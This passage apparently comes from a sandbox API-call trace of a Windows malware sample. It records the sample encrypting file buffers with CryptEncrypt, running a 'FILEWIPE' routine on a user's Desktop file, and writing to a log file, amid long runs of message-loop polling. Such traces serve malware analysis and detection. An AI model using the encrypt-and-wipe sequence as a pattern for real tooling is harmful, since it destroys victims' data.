0x4 [0020.110] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10408, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10410) returned 1 [0020.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.110] CharLowerBuffW (in: lpsz="byte[66577]", cchLength=0xb | out: lpsz="byte[66577]") returned 0xb [0020.110] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.127] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.127] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0020.128] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.128] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f1600*, pdwDataLen=0xe8f3dfdf68*=0x10408, dwBufLen=0x10410 | out: pbData=0xe8f41f1600*, pdwDataLen=0xe8f3dfdf68*=0x10410) returned 1 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.128] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.128] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0020.128] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.129] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0020.129] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0020.129] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.129] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.129] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.133] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0020.133] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0020.133] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.133] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0020.133] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0020.133] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0020.133] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0020.133] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0020.174] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.175] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0020.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0020.175] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.175] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.175] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.175] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0020.176] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0020.176] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.176] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.176] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0020.176] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.176] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.177] CloseHandle (hObject=0x188) returned 1 [0020.178] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.178] CloseHandle (hObject=0x1fc) returned 1 [0020.179] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.181] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0020.181] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0020.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.181] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\g_kf.mp3")) returned 0x20 [0020.181] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.182] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.mp3", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a070 [0020.182] FindClose (in: hFindFile=0xe8f406a070 | out: hFindFile=0xe8f406a070) returned 1 [0020.212] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.212] CharLowerBuffW (in: lpsz="byte[66568]", cchLength=0xb | out: lpsz="byte[66568]") returned 0xb [0020.213] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.213] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0020.213] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.214] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0020.214] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0020.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0020.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064680, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0020.214] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0020.214] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.214] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.214] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.214] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0020.214] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.214] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.215] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0020.215] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.215] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.216] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.216] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.658] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 1 [0021.658] TranslateMessage (lpMsg=0xe8f3dfee40) returned 0 [0021.658] DispatchMessageW (lpMsg=0xe8f3dfee40) returned 0x0 [0021.658] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe470) returned 1 [0021.663] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0021.663] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0021.663] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0021.664] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0021.664] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0021.664] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3", cchCount1=1, lpString2=".", cchCount2=1) returned 3 [0021.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p3", cchCount1=1, lpString2=".", cchCount2=1) returned 3 [0021.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=1, lpString2=".", cchCount2=1) returned 3 [0021.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=1, lpString2=".", cchCount2=1) returned 2 [0021.664] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.664] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.664] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.665] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0021.665] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0021.665] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0021.665] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: 